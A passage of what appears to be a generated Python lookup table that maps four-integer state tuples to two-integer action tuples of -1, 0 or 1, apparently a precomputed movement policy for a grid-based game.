35, 5, -5): (0, 0), (7, 35, 5, -4): (0, 1), (7, 35, 5, -3): (0, 1), (7, 35, 5, -2): (0, 1), (7, 35, 5, -1): (0, 1), (7, 35, 5, 0): (0, 1), (7, 35, 5, 1): (0, 1), (7, 35, 5, 2): (0, 1), (7, 35, 5, 3): (0, 1), (7, 35, 5, 4): (0, 1), (7, 35, 5, 5): (0, 1), (8, 1, -5, -5): (0, 1), (8, 1, -5, -4): (0, 1), (8, 1, -5, -3): (0, 1), (8, 1, -5, -2): (0, 1), (8, 1, -5, -1): (0, 0), (8, 1, -5, 0): (-1, -1), (8, 1, -5, 1): (0, 1), (8, 1, -5, 2): (0, 1), (8, 1, -5, 3): (0, 1), (8, 1, -5, 4): (0, 1), (8, 1, -5, 5): (0, 1), (8, 1, -4, -5): (-1, 1), (8, 1, -4, -4): (-1, 1), (8, 1, -4, -3): (-1, 1), (8, 1, -4, -2): (-1, 1), (8, 1, -4, -1): (-1, 0), (8, 1, -4, 0): (-1, -1), (8, 1, -4, 1): (0, 1), (8, 1, -4, 2): (0, 1), (8, 1, -4, 3): (0, 1), (8, 1, -4, 4): (0, 1), (8, 1, -4, 5): (0, 1), (8, 1, -3, -5): (-1, 1), (8, 1, -3, -4): (-1, 1), (8, 1, -3, -3): (-1, 1), (8, 1, -3, -2): (-1, 1), (8, 1, -3, -1): (-1, 0), (8, 1, -3, 0): (0, 1), (8, 1, -3, 1): (0, 1), (8, 1, -3, 2): (0, 1), (8, 1, -3, 3): (1, 1), (8, 1, -3, 4): (1, 1), (8, 1, -3, 5): (1, 0), (8, 1, -2, -5): (0, 1), (8, 1, -2, -4): (0, 1), (8, 1, -2, -3): (0, 1), (8, 1, -2, -2): (0, 1), (8, 1, -2, -1): (-1, 1), (8, 1, -2, 0): (1, 1), (8, 1, -2, 1): (1, 1), (8, 1, -2, 2): (1, 1), (8, 1, -2, 3): (1, 1), (8, 1, -2, 4): (1, 1), (8, 1, -2, 5): (1, 0), (8, 1, -1, -5): (1, 0), (8, 1, -1, -4): (1, 0), (8, 1, -1, -3): (1, 0), (8, 1, -1, -2): (1, 0), (8, 1, -1, -1): (1, 0), (8, 1, -1, 0): (1, 1), (8, 1, -1, 1): (1, 1), (8, 1, -1, 2): (1, 1), (8, 1, -1, 3): (1, 1), (8, 1, -1, 4): (1, 1), (8, 1, -1, 5): (1, 0), (8, 1, 0, -5): (1, 0), (8, 1, 0, -4): (1, 0), (8, 1, 0, -3): (1, 0), (8, 1, 0, -2): (1, 0), (8, 1, 0, -1): (1, 0), (8, 1, 0, 0): (0, 1), (8, 1, 0, 1): (0, 1), (8, 1, 0, 2): (0, 1), (8, 1, 0, 3): (0, 1), (8, 1, 0, 4): (0, 1), (8, 1, 0, 5): (0, 1), (8, 1, 1, -5): (0, 1), (8, 1, 1, -4): (0, 1), (8, 1, 1, -3): (0, 1), (8, 1, 1, -2): (0, 1), (8, 1, 1, -1): (0, 1), (8, 1, 1, 0): (-1, 1), (8, 1, 1, 1): (-1, 1), (8, 1, 1, 2): (-1, 1), (8, 1, 1, 3): (-1, 1), (8, 1, 1, 4): (-1, 1), (8, 1, 1, 5): (-1, 1), (8, 1, 2, -5): (0, 1), (8, 1, 2, -4): (0, 1), (8, 1, 2, -3): (0, 1), (8, 1, 2, -2): (0, 1), (8, 1, 2, -1): (0, 1), (8, 1, 2, 0): (-1, 1), (8, 1, 2, 1): (-1, 1), (8, 1, 2, 2): (-1, 1), (8, 1, 2, 3): (-1, 1), (8, 1, 2, 4): (-1, 1), (8, 1, 2, 5): (-1, 1), (8, 1, 3, -5): (0, 1), (8, 1, 3, -4): (0, 1), (8, 1, 3, -3): (0, 1), (8, 1, 3, -2): (0, 1), (8, 1, 3, -1): (0, 1), (8, 1, 3, 0): (0, 1), (8, 1, 3, 1): (0, 1), (8, 1, 3, 2): (0, 1), (8, 1, 3, 3): (0, 1), (8, 1, 3, 4): (0, 1), (8, 1, 3, 5): (0, 1), (8, 1, 4, -5): (0, 1), (8, 1, 4, -4): (0, 1), (8, 1, 4, -3): (0, 1), (8, 1, 4, -2): (0, 1), (8, 1, 4, -1): (0, 1), (8, 1, 4, 0): (0, 1), (8, 1, 4, 1): (0, 1), (8, 1, 4, 2): (0, 1), (8, 1, 4, 3): (0, 1), (8, 1, 4, 4): (0, 1), (8, 1, 4, 5): (0, 1), (8, 1, 5, -5): (0, 1), (8, 1, 5, -4): (0, 1), (8, 1, 5, -3): (0, 1), (8, 1, 5, -2): (0, 1), (8, 1, 5, -1): (0, 1), (8, 1, 5, 0): (0, 1), (8, 1, 5, 1): (0, 1), (8, 1, 5, 2): (0, 1), (8, 1, 5, 3): (0, 1), (8, 1, 5, 4): (0, 1), (8, 1, 5, 5): (0, 1), (8, 2, -5, -5): (0, 1), (8, 2, -5, -4): (0, 1), (8, 2, -5, -3): (0, 1), (8, 2, -5, -2): (0, 0), (8, 2, -5, -1): (-1, -1), (8, 2, -5, 0): (0, 1), (8, 2, -5, 1): (0, 1), (8, 2, -5, 2): (0, 1), (8, 2, -5, 3): (0, 1), (8, 2, -5, 4): (0, 1), (8, 2, -5, 5): (0, 1), (8, 2, -4, -5): (-1, 1), (8, 2, -4, -4): (-1, 1), (8, 2, -4, -3): (-1, 1), (8, 2, -4, -2): (-1, 0), (8, 2, -4, -1): (-1, -1), (8, 2, -4, 0): (0, 1), (8, 2, -4, 1): (0, 1), (8, 2, -4, 2): (0, 1), (8, 2, -4, 3): (0, 1), (8, 2, -4, 4): (0, 1), (8, 2, -4, 5): (0, 1), (8, 2, -3, -5): (-1, 1), (8, 2, -3, -4): (-1, 1), (8, 2, -3, -3): (-1, 1), (8, 2, -3, -2): (-1, 0), (8, 2, -3, -1): (0, 1), (8, 2, -3, 0): (0, 1), (8, 2, -3, 1): (0, 1), (8, 2, -3, 2): (0, 1), (8, 2, -3, 3): (0, 1), (8, 2, -3, 4): (1, 1), (8, 2, -3, 5): (1, 0), (8, 2, -2, -5): (0, 1), (8, 2, -2, -4): (0, 1), (8, 2, -2, -3): (0, 1), (8, 2, -2, -2): (-1, 1), (8, 2, -2, -1): (-1, 1), (8, 2, -2, 0): (1, 1), (8, 2, -2, 1): (1, 1), (8, 2, -2, 2): (1, 1), (8, 2, -2, 3): (1, 1), (8, 2, -2, 4): (1, 1), (8, 2, -2, 5): (1, 0), (8, 2, -1, -5): (1, 0), (8, 2, -1, -4): (1, 0), (8, 2, -1, -3): (1, 0), (8, 2, -1, -2): (1, 0), (8, 2, -1, -1): (1, 1), (8, 2, -1, 0): (1, 1), (8, 2, -1, 1): (1, 1), (8, 2, -1, 2): (1, 1), (8, 2, -1, 3): (1, 1), (8, 2, -1, 4): (1, 1), (8, 2, -1, 5): (1, 0), (8, 2, 0, -5): (1, 0), (8, 2, 0, -4): (1, 0), (8, 2, 0, -3): (1, 0), (8, 2, 0, -2): (1, 0), (8, 2, 0, -1): (1, 1), (8, 2, 0, 0): (0, 1), (8, 2, 0, 1): (0, 1), (8, 2, 0, 2): (0, 1), (8, 2, 0, 3): (0, 1), (8, 2, 0, 4): (0, 1), (8, 2, 0, 5): (0, 1), (8, 2, 1, -5): (0, 1), (8, 2, 1, -4): (0, 1), (8, 2, 1, -3): (0, 1), (8, 2, 1, -2): (0, 0), (8, 2, 1, -1): (0, 1), (8, 2, 1, 0): (-1, 1), (8, 2, 1, 1): (-1, 1), (8, 2, 1, 2): (-1, 1), (8, 2, 1, 3): (-1, 1), (8, 2, 1, 4): (-1, 1), (8, 2, 1, 5): (-1, 1), (8, 2, 2, -5): (0, 1), (8, 2, 2, -4): (0, 1), (8, 2, 2, -3): (0, 1), (8, 2, 2, -2): (0, 1), (8, 2, 2, -1): (0, 1), (8, 2, 2, 0): (-1, 1), (8, 2, 2, 1): (-1, 1), (8, 2, 2, 2): (-1, 1), (8, 2, 2, 3): (-1, 1), (8, 2, 2, 4): (-1, 1), (8, 2, 2, 5): (-1, 1), (8, 2, 3, -5): (0, 1), (8, 2, 3, -4): (0, 1), (8, 2, 3, -3): (0, 1), (8, 2, 3, -2): (0, 1), (8, 2, 3, -1): (0, 1), (8, 2, 3, 0): (0, 1), (8, 2, 3, 1): (0, 1), (8, 2, 3, 2): (0, 1), (8, 2, 3, 3): (0, 1), (8, 2, 3, 4): (0, 1), (8, 2, 3, 5): (0, 1), (8, 2, 4, -5): (0, 1), (8, 2, 4, -4): (0, 1), (8, 2, 4, -3): (0, 1), (8, 2, 4, -2): (0, 1), (8, 2, 4, -1): (0, 1), (8, 2, 4, 0): (0, 1), (8, 2, 4, 1): (0, 1), (8, 2, 4, 2): (0, 1), (8, 2, 4, 3): (0, 1), (8, 2, 4, 4): (0, 1), (8, 2, 4, 5): (0, 1), (8, 2, 5, -5): (0, 1), (8, 2, 5, -4): (0, 1), (8, 2, 5, -3): (0, 1), (8, 2, 5, -2): (0, 1), (8, 2, 5, -1): (0, 1), (8, 2, 5, 0): (0, 1), (8, 2, 5, 1): (0, 1), (8, 2, 5, 2): (0, 1), (8, 2, 5, 3): (0, 1), (8, 2, 5, 4): (0, 1), (8, 2, 5, 5): (0, 1), (8, 3, -5, -5): (0, 1), (8, 3, -5, -4): (0, 1), (8, 3, -5, -3): (0, 0), (8, 3, -5, -2): (-1, -1), (8, 3, -5, -1): (0, 1), (8, 3, -5, 0): (0, 1), (8, 3, -5, 1): (0, 1), (8, 3, -5, 2): (0, 1), (8, 3, -5, 3): (0, 1), (8, 3, -5, 4): (0, 1), (8, 3, -5, 5): (0, 1), (8, 3, -4, -5): (-1, 1), (8, 3, -4, -4): (-1, 1), (8, 3, -4, -3): (-1, 0), (8, 3, -4, -2): (-1, -1), (8, 3, -4, -1): (0, 1), (8, 3, -4, 0): (0, 1), (8, 3, -4, 1): (0, 1), (8, 3, -4, 2): (0, 1), (8, 3, -4, 3): (0, 1), (8, 3, -4, 4): (0, 1), (8, 3, -4, 5): (0, 1), (8, 3, -3, -5): (-1, 1), (8, 3, -3, -4): (-1, 1), (8, 3, -3, -3): (-1, 0), (8, 3, -3, -2): (0, 1), (8, 3, -3, -1): (0, 1), (8, 3, -3, 0): (0, 1), (8, 3, -3, 1): (0, 1), (8, 3, -3, 2): (0, 1), (8, 3, -3, 3): (0, 1), (8, 3, -3, 4): (1, 1), (8, 3, -3, 5): (1, 0), (8, 3, -2, -5): (0, 1), (8, 3, -2, -4): (0, 1), (8, 3, -2, -3): (-1, 1), (8, 3, -2, -2): (-1, 1), (8, 3, -2, -1): (-1, 1), (8, 3, -2, 0): (1, 1), (8, 3, -2, 1): (1, 1), (8, 3, -2, 2): (1, 1), (8, 3, -2, 3): (1, 1), (8, 3, -2, 4): (1, 1), (8, 3, -2, 5): (1, 0), (8, 3, -1, -5): (1, 0), (8, 3, -1, -4): (1, 0), (8, 3, -1, -3): (1, 0), (8, 3, -1, -2): (1, -1), (8, 3, -1, -1): (1, 1), (8, 3, -1, 0): (1, 1), (8, 3, -1, 1): (1, 1), (8, 3, -1, 2): (1, 1), (8, 3, -1, 3): (1, 1), (8, 3, -1, 4): (1, 1), (8, 3, -1, 5): (1, 0), (8, 3, 0, -5): (1, 0), (8, 3, 0, -4): (1, 0), (8, 3, 0, -3): (1, 0), (8, 3, 0, -2): (1, -1), (8, 3, 0, -1): (1, 1), (8, 3, 0, 0): (0, 1), (8, 3, 0, 1): (0, 1), (8, 3, 0, 2): (0, 1), (8, 3, 0, 3): (0, 1), (8, 3, 0, 4): (0, 1), (8, 3, 0, 5): (0, 1), (8, 3, 1, -5): (0, 1), (8, 3, 1, -4): (0, 1), (8, 3, 1, -3): (0, 0), (8, 3, 1, -2): (1, 1), (8, 3, 1, -1): (0, 1), (8, 3, 1, 0): (-1, 1), (8, 3, 1, 1): (-1, 1), (8, 3, 1, 2): (-1, 1), (8, 3, 1, 3): (-1, 1), (8, 3, 1, 4): (-1, 1), (8, 3, 1, 5): (-1, 1), (8, 3, 2, -5): (0, 1), (8, 3, 2, -4): (0, 1), (8, 3, 2, -3): (0, 1), (8, 3, 2, -2): (0, 1), (8, 3, 2, -1): (0, 1), (8, 3, 2, 0): (-1, 1), (8, 3, 2, 1): (-1, 1), (8, 3, 2, 2): (-1, 1), (8, 3, 2, 3): (-1, 1), (8, 3, 2, 4): (-1, 1), (8, 3, 2, 5): (-1, 1), (8, 3, 3, -5): (0, 1), (8, 3, 3, -4): (0, 1), (8, 3, 3, -3): (0, 1), (8, 3, 3, -2): (0, 1), (8, 3, 3, -1): (0, 1), (8, 3, 3, 0): (0, 1), (8, 3, 3, 1): (0, 1), (8, 3, 3, 2): (0, 1), (8, 3, 3, 3): (0, 1), (8, 3, 3, 4): (0, 1), (8, 3, 3, 5): (0, 1), (8, 3, 4, -5): (0, 1), (8, 3, 4, -4): (0, 1), (8, 3, 4, -3): (0, 1), (8, 3, 4, -2): (0, 1), (8, 3, 4, -1): (0, 1), (8, 3, 4, 0): (0, 1), (8, 3, 4, 1): (0, 1), (8, 3, 4, 2): (0, 1), (8, 3, 4, 3): (0, 1), (8, 3, 4, 4): (0, 1), (8, 3, 4, 5): (0, 1), (8, 3, 5, -5): (0, 1), (8, 3, 5, -4): (0, 1), (8, 3, 5, -3): (0, 1), (8, 3, 5, -2): (0, 1), (8, 3, 5, -1): (0, 1), (8, 3, 5, 0): (0, 1), (8, 3, 5, 1): (0, 1), (8, 3, 5, 2): (0, 1), (8, 3, 5, 3): (0, 1), (8, 3, 5, 4): (0, 1), (8, 3, 5, 5): (0, 1), (8, 4, -5, -5): (0, 1), (8, 4, -5, -4): (0, 0), (8, 4, -5, -3): (-1, -1), (8, 4, -5, -2): (0, 1), (8, 4, -5, -1): (0, 1), (8, 4, -5, 0): (0, 1), (8, 4, -5, 1): (0, 1), (8, 4, -5, 2): (0, 1), (8, 4, -5, 3): (0, 1), (8, 4, -5, 4): (0, 1), (8, 4, -5, 5): (0, 1), (8, 4, -4, -5): (-1, 1), (8, 4, -4, -4): (-1, 0), (8, 4, -4, -3): (-1, -1), (8, 4, -4, -2): (0, 1), (8, 4, -4, -1): (0, 1), (8, 4, -4, 0): (0, 1), (8, 4, -4, 1): (0, 1), (8, 4, -4, 2): (0, 1), (8, 4, -4, 3): (0, 1), (8, 4, -4, 4): (0, 1), (8, 4, -4, 5): (0, 1), (8, 4, -3, -5): (-1, 1), (8, 4, -3, -4): (-1, 0), (8, 4, -3, -3): (0, 1), (8, 4, -3, -2): (0, 1), (8, 4, -3, -1): (0, 1), (8, 4, -3, 0): (0, 1), (8, 4, -3, 1): (0, 1), (8, 4, -3, 2): (0, 1), (8, 4, -3, 3): (0, 1), (8, 4, -3, 4): (1, 1), (8, 4, -3, 5): (1, 0), (8, 4, -2, -5): (0, 1), (8, 4, -2, -4): (-1, 1), (8, 4, -2, -3): (-1, 1), (8, 4, -2, -2): (-1, 1), (8, 4, -2, -1): (-1, 1), (8, 4, -2, 0): (1, 1), (8, 4, -2, 1): (1, 1), (8, 4, -2, 2): (1, 1), (8, 4, -2, 3): (1, 1), (8, 4, -2, 4): (1, 1), (8, 4, -2, 5): (1, 0), (8, 4, -1, -5): (1, 0), (8, 4, -1, -4): (1, 0), (8, 4, -1, -3): (1, -1), (8, 4, -1, -2): (-1, 1), (8, 4, -1, -1): (1, 1), (8, 4, -1, 0): (1, 1), (8, 4, -1, 1): (1, 1), (8, 4, -1, 2): (1, 1), (8, 4, -1, 3): (1, 1), (8, 4, -1, 4): (1, 1), (8, 4, -1, 5): (1, 0), (8, 4, 0, -5): (1, 0), (8, 4, 0, -4): (1, 0), (8, 4, 0, -3): (1, -1), (8, 4, 0, -2): (1, 1), (8, 4, 0, -1): (1, 1), (8, 4, 0, 0): (0, 1), (8, 4, 0, 1): (0, 1), (8, 4, 0, 2): (0, 1), (8, 4, 0, 3): (0, 1), (8, 4, 0, 4): (0, 1), (8, 4, 0, 5): (0, 1), (8, 4, 1, -5): (0, 1), (8, 4, 1, -4): (0, 0), (8, 4, 1, -3): (1, 1), (8, 4, 1, -2): (1, 1), (8, 4, 1, -1): (0, 1), (8, 4, 1, 0): (-1, 1), (8, 4, 1, 1): (-1, 1), (8, 4, 1, 2): (-1, 1), (8, 4, 1, 3): (-1, 1), (8, 4, 1, 4): (-1, 1), (8, 4, 1, 5): (-1, 1), (8, 4, 2, -5): (0, 1), (8, 4, 2, -4): (0, 1), (8, 4, 2, -3): (0, 1), (8, 4, 2, -2): (0, 1), (8, 4, 2, -1): (0, 1), (8, 4, 2, 0): (-1, 1), (8, 4, 2, 1): (-1, 1), (8, 4, 2, 2): (-1, 1), (8, 4, 2, 3): (-1, 1), (8, 4, 2, 4): (-1, 1), (8, 4, 2, 5): (-1, 1), (8, 4, 3, -5): (0, 1), (8, 4, 3, -4): (0, 1), (8, 4, 3, -3): (0, 1), (8, 4, 3, -2): (0, 1), (8, 4, 3, -1): (0, 1), (8, 4, 3, 0): (0, 1), (8, 4, 3, 1): (0, 1), (8, 4, 3, 2): (0, 1), (8, 4, 3, 3): (0, 1), (8, 4, 3, 4): (0, 1), (8, 4, 3, 5): (0, 1), (8, 4, 4, -5): (0, 1), (8, 4, 4, -4): (0, 1), (8, 4, 4, -3): (0, 1), (8, 4, 4, -2): (0, 1), (8, 4, 4, -1): (0, 1), (8, 4, 4, 0): (0, 1), (8, 4, 4, 1): (0, 1), (8, 4, 4, 2): (0, 1), (8, 4, 4, 3): (0, 1), (8, 4, 4, 4): (0, 1), (8, 4, 4, 5): (0, 1), (8, 4, 5, -5): (0, 1), (8, 4, 5, -4): (0, 1), (8, 4, 5, -3): (0, 1), (8, 4, 5, -2): (0, 1), (8, 4, 5, -1): (0, 1), (8, 4, 5, 0): (0, 1), (8, 4, 5, 1): (0, 1), (8, 4, 5, 2): (0, 1), (8, 4, 5, 3): (0, 1), (8, 4, 5, 4): (0, 1), (8, 4, 5, 5): (0, 1), (8, 5, -5, -5): (0, 0), (8, 5, -5, -4): (-1, -1), (8, 5, -5, -3): (0, 1), (8, 5, -5, -2): (0, 1), (8, 5, -5, -1): (0, 1), (8, 5, -5, 0): (0, 1), (8, 5, -5, 1): (0, 1), (8, 5, -5, 2): (0, 1), (8, 5, -5, 3): (0, 1), (8, 5, -5, 4): (0, 1), (8, 5, -5, 5): (0, 1), (8, 5, -4, -5): (-1, 0), (8, 5, -4, -4): (-1, -1), (8, 5, -4, -3): (0, 1), (8, 5, -4, -2): (0, 1), (8, 5, -4, -1): (0, 1), (8, 5, -4, 0): (0, 1), (8, 5, -4, 1): (0, 1), (8, 5, -4, 2): (0, 1), (8, 5, -4, 3): (0, 1), (8, 5, -4, 4): (0, 1), (8, 5, -4, 5): (0, 1), (8, 5, -3, -5): (-1, 0), (8, 5, -3, -4): (0, 1), (8, 5, -3, -3): (0, 1), (8, 5, -3, -2): (0, 1), (8, 5, -3, -1): (0, 1), (8, 5, -3, 0): (0, 1), (8, 5, -3, 1): (0, 1), (8, 5, -3, 2): (0, 1), (8, 5, -3, 3): (1, 1), (8, 5, -3, 4): (1, 1), (8, 5, -3, 5): (1, 0), (8, 5, -2, -5): (-1, 1), (8, 5, -2, -4): (-1, 1), (8, 5, -2, -3): (-1, 1), (8, 5, -2, -2): (-1, 1), (8, 5, -2, -1): (-1, 1), (8, 5, -2, 0): (1, 1), (8, 5, -2, 1): (1, 1), (8, 5, -2, 2): (1, 1), (8, 5, -2, 3): (1, 1), (8, 5, -2, 4): (1, 1), (8, 5, -2, 5): (1, 0), (8, 5, -1, -5): (1, 0), (8, 5, -1, -4): (1, -1), (8, 5, -1, -3): (-1, 0), (8, 5, -1, -2): (-1, 1), (8, 5, -1, -1): (1, 1), (8, 5, -1, 0): (1, 1), (8, 5, -1, 1): (1, 1), (8, 5, -1, 2): (1, 1), (8, 5, -1, 3): (1, 1), (8, 5, -1, 4): (1, 1), (8, 5, -1, 5): (1, 0), (8, 5, 0, -5): (1, 0), (8, 5, 0, -4): (1, -1), (8, 5, 0, -3): (1, 1), (8, 5, 0, -2): (1, 1), (8, 5, 0, -1): (1, 1), (8, 5, 0, 0): (0, 1), (8, 5, 0, 1): (0, 1), (8, 5, 0, 2): (0, 1), (8, 5, 0, 3): (0, 1), (8, 5, 0, 4): (0, 1), (8, 5, 0, 5): (0, 1), (8, 5, 1, -5): (0, 0), (8, 5, 1, -4): (1, 1), (8, 5, 1, -3): (1, 1), (8, 5, 1, -2): (1, 1), (8, 5, 1, -1): (0, 1), (8, 5, 1, 0): (-1, 1), (8, 5, 1, 1): (-1, 1), (8, 5, 1, 2): (-1, 1), (8, 5, 1, 3): (-1, 1), (8, 5, 1, 4): (-1, 1), (8, 5, 1, 5): (-1, 1), (8, 5, 2, -5): (0, 1), (8, 5, 2, -4): (0, 1), (8, 5, 2, -3): (0, 1), (8, 5, 2, -2): (0, 1), (8, 5, 2, -1): (0, 1), (8, 5, 2, 0): (-1, 1), (8, 5, 2, 1): (-1, 1), (8, 5, 2, 2): (-1, 1), (8, 5, 2, 3): (-1, 1), (8, 5, 2, 4): (-1, 1), (8, 5, 2, 5): (-1, 1), (8, 5, 3, -5): (0, 1), (8, 5, 3, -4): (0, 1), (8, 5, 3, -3): (0, 1), (8, 5, 3, -2): (0, 1), (8, 5, 3, -1): (0, 1), (8, 5, 3, 0): (0, 1), (8, 5, 3, 1): (0, 1), (8, 5, 3, 2): (0, 1), (8, 5, 3, 3): (0, 1), (8, 5, 3, 4): (0, 1), (8, 5, 3, 5): (0, 1), (8, 5, 4, -5): (0, 1), (8, 5, 4, -4): (0, 1), (8, 5, 4, -3): (0, 1), (8, 5, 4, -2): (0, 1), (8, 5, 4, -1): (0, 1), (8, 5, 4, 0): (0, 1), (8, 5, 4, 1): (0, 1), (8, 5, 4, 2): (0, 1), (8, 5, 4, 3): (0, 1), (8, 5, 4, 4): (0, 1), (8, 5, 4, 5): (0, 1), (8, 5, 5, -5): (0, 1), (8, 5, 5, -4): (0, 1), (8, 5, 5, -3): (0, 1), (8, 5, 5, -2): (0, 1), (8, 5, 5, -1): (0, 1), (8, 5, 5, 0): (0, 1), (8, 5, 5, 1): (0, 1), (8, 5, 5, 2): (0, 1), (8, 5, 5, 3): (0, 1), (8, 5, 5, 4): (0, 1), (8, 5, 5, 5): (0, 1), (8, 6, -5, -5): (0, 1), (8, 6, -5, -4): (0, 1), (8, 6, -5, -3): (0, 1), (8, 6, -5, -2): (0, 1), (8, 6, -5, -1): (0, 1), (8, 6, -5, 0): (0, 1), (8, 6, -5, 1): (0, 1), (8, 6, -5, 2): (0, 1), (8, 6, -5, 3): (0, 1), (8, 6, -5, 4): (0, 1), (8, 6, -5, 5): (0, 1), (8, 6, -4, -5): (0, 1), (8, 6, -4, -4): (0, 1), (8, 6, -4, -3): (0, 1), (8, 6, -4, -2): (0, 1), (8, 6, -4, -1): (0, 1), (8, 6, -4, 0): (0, 1), (8, 6, -4, 1): (0, 1), (8, 6, -4, 2): (0, 1), (8, 6, -4, 3): (0, 1), (8, 6, -4, 4): (0, 1), (8, 6, -4, 5): (0, 1), (8, 6, -3, -5): (0, 1), (8, 6, -3, -4): (0, 1), (8, 6, -3, -3): (0, 1), (8, 6, -3, -2): (0, 1), (8, 6, -3, -1): (0, 1), (8, 6, -3, 0): (0, 1), (8, 6, -3, 1): (0, 1), (8, 6, -3, 2): (0, 1), (8, 6, -3, 3): (1, 1), (8, 6, -3, 4): (0, 1), (8, 6, -3, 5): (0, 1), (8, 6, -2, -5): (-1, 1), (8, 6, -2, -4): (-1, 1), (8, 6, -2, -3): (-1, 1), (8, 6, -2, -2): (-1, 1), (8, 6, -2, -1): (-1, 1), (8, 6, -2, 0): (1, 1), (8, 6, -2, 1): (1, 1), (8, 6, -2, 2): (1, 1), (8, 6, -2, 3): (1, 1), (8, 6, -2, 4): (1, 1), (8, 6, -2, 5): (1, 0), (8, 6, -1, -5): (-1, 1), (8, 6, -1, -4): (-1, 1), (8, 6, -1, -3): (-1, 1), (8, 6, -1, -2): (-1, 1), (8, 6, -1, -1): (1, 1), (8, 6, -1, 0): (1, 1), (8, 6, -1, 1): (1, 1), (8, 6, -1, 2): (1, 1), (8, 6, -1, 3): (1, 1), (8, 6, -1, 4): (1, 1), (8, 6, -1, 5): (1, 0), (8, 6, 0, -5): (1, 0), (8, 6, 0, -4): (1, 0), (8, 6, 0, -3): (1, 1), (8, 6, 0, -2): (1, 1), (8, 6, 0, -1): (1, 1), (8, 6, 0, 0): (0, 1), (8, 6, 0, 1): (0, 1), (8, 6, 0, 2): (0, 1), (8, 6, 0, 3): (0, 1), (8, 6, 0, 4): (0, 1), (8, 6, 0, 5): (0, 1), (8, 6, 1, -5): (1, 1), (8, 6, 1, -4): (1, 1), (8, 6, 1, -3): (1, 1), (8, 6, 1, -2): (1, 1), (8, 6, 1, -1): (0, 1), (8, 6, 1, 0): (-1, 1), (8, 6, 1, 1): (-1, 1), (8, 6, 1, 2): (-1, 1), (8, 6, 1, 3): (-1, 1), (8, 6, 1, 4): (-1, 1), (8, 6, 1, 5): (-1, 1), (8, 6, 2, -5): (0, 1), (8, 6, 2, -4): (0, 1), (8, 6, 2, -3): (0, 1), (8, 6, 2, -2): (0, 1), (8, 6, 2, -1): (0, 1), (8, 6, 2, 0): (-1, 1), (8, 6, 2, 1): (-1, 1), (8, 6, 2, 2): (-1, 1), (8, 6, 2, 3): (-1, 1), (8, 6, 2, 4): (-1, 1), (8, 6, 2, 5): (-1, 1), (8, 6, 3, -5): (0, 1), (8, 6, 3, -4): (0, 1), (8, 6, 3, -3): (0, 1), (8, 6, 3, -2): (0, 1), (8, 6, 3, -1): (0, 1), (8, 6, 3, 0): (0, 1), (8, 6, 3, 1): (0, 1), (8, 6, 3, 2): (0, 1), (8, 6, 3, 3): (0, 1), (8, 6, 3, 4): (0, 1), (8, 6, 3, 5): (0, 1), (8, 6, 4, -5): (0, 1), (8, 6, 4, -4): (0, 1), (8, 6, 4, -3): (0, 1), (8, 6, 4, -2): (0, 1), (8, 6, 4, -1): (0, 1), (8, 6, 4, 0): (0, 1), (8, 6, 4, 1): (0, 1), (8, 6, 4, 2): (0, 1), (8, 6, 4, 3): (0, 1), (8, 6, 4, 4): (0, 1), (8, 6, 4, 5): (0, 1), (8, 6, 5, -5): (0, 1), (8, 6, 5, -4): (0, 1), (8, 6, 5, -3): (0, 1), (8, 6, 5, -2): (0, 1), (8, 6, 5, -1): (0, 1), (8, 6, 5, 0): (0, 1), (8, 6, 5, 1): (0, 1), (8, 6, 5, 2): (0, 1), (8, 6, 5, 3): (0, 1), (8, 6, 5, 4): (0, 1), (8, 6, 5, 5): (0, 1), (8, 7, -5, -5): (0, 1), (8, 7, -5, -4): (0, 1), (8, 7, -5, -3): (0, 1), (8, 7, -5, -2): (0, 1), (8, 7, -5, -1): (0, 1), (8, 7, -5, 0): (0, 1), (8, 7, -5, 1): (0, 1), (8, 7, -5, 2): (0, 1), (8, 7, -5, 3): (0, 1), (8, 7, -5, 4): (0, 1), (8, 7, -5, 5): (0, 1), (8, 7, -4, -5): (0, 1), (8, 7, -4, -4): (0, 1), (8, 7, -4, -3): (0, 1), (8, 7, -4, -2): (0, 1), (8, 7, -4, -1): (0, 1), (8, 7, -4, 0): (0, 1), (8, 7, -4, 1): (0, 1), (8, 7, -4, 2): (0, 1), (8, 7, -4, 3): (0, 1), (8, 7, -4, 4): (0, 1), (8, 7, -4, 5): (0, 1), (8, 7, -3, -5): (0, 1), (8, 7, -3, -4): (0, 1), (8, 7, -3, -3): (0, 1), (8, 7, -3, -2): (0, 1), (8, 7, -3, -1): (0, 1), (8, 7, -3, 0): (0, 1), (8, 7, -3, 1): (0, 1), (8, 7, -3, 2): (0, 1), (8, 7, -3, 3): (0, 1), (8, 7, -3, 4): (1, 1), (8, 7, -3, 5): (1, 0), (8, 7, -2, -5): (-1, 1), (8, 7, -2, -4): (-1, 1), (8, 7, -2, -3): (-1, 1), (8, 7, -2, -2): (-1, 1), (8, 7, -2, -1): (-1, 1), (8, 7, -2, 0): (1, 1), (8, 7, -2, 1): (1, 1), (8, 7, -2, 2): (1, 1), (8, 7, -2, 3): (1, 1), (8, 7, -2, 4): (1, 1), (8, 7, -2, 5): (1, 0), (8, 7, -1, -5): (-1, 1), (8, 7, -1, -4): (-1, 0), (8, 7, -1, -3): (-1, 1), (8, 7, -1, -2): (-1, 1), (8, 7, -1, -1): (1, 1), (8, 7, -1, 0): (1, 1), (8, 7, -1, 1): (1, 1), (8, 7, -1, 2): (1, 1), (8, 7, -1, 3): (1, 1), (8, 7, -1, 4): (1, 1), (8, 7, -1, 5): (1, 0), (8, 7, 0, -5): (1, 0), (8, 7, 0, -4): (1, 1), (8, 7, 0, -3): (1, 1), (8, 7, 0, -2): (1, 1), (8, 7, 0, -1): (1, 1), (8, 7, 0, 0): (0, 1), (8, 7, 0, 1): (0, 1), (8, 7, 0, 2): (0, 1), (8, 7, 0, 3): (0, 1), (8, 7, 0, 4): (0, 1), (8, 7, 0, 5): (0, 1), (8, 7, 1, -5): (1, 1), (8, 7, 1, -4): (1, 1), (8, 7, 1, -3): (1, 1), (8, 7, 1, -2): (1, 1), (8, 7, 1, -1): (0, 1), (8, 7, 1, 0): (-1, 1), (8, 7, 1, 1): (-1, 1), (8, 7, 1, 2): (-1, 1), (8, 7, 1, 3): (-1, 1), (8, 7, 1, 4): (-1, 1), (8, 7, 1, 5): (-1, 1), (8, 7, 2, -5): (0, 1), (8, 7, 2, -4): (0, 1), (8, 7, 2, -3): (0, 1), (8, 7, 2, -2): (0, 1), (8, 7, 2, -1): (0, 1), (8, 7, 2, 0): (-1, 1), (8, 7, 2, 1): (-1, 1), (8, 7, 2, 2): (-1, 1), (8, 7, 2, 3): (-1, 1), (8, 7, 2, 4): (-1, 1), (8, 7, 2, 5): 